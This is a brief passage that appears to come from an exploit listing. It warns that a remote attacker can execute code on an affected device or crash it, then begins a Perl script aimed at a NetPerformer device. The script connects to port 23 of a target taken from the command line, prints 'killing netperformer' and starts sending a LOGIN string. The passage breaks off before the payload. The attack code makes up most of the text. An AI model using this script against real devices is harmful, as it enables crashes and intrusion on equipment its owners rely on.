A remote attacker can exploit this issue to execute arbitrary code on the affected device. Failed exploit attempts will likely crash the device, denying service to legitimate users. # __START_CODE # #!/usr/bin/perl use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "23", Proto => "TCP")) { print "Modhiar'000 ..... killing netperformer ... $ARGV[0] port 23..."; sleep(1); print $socket "LOGIN " .
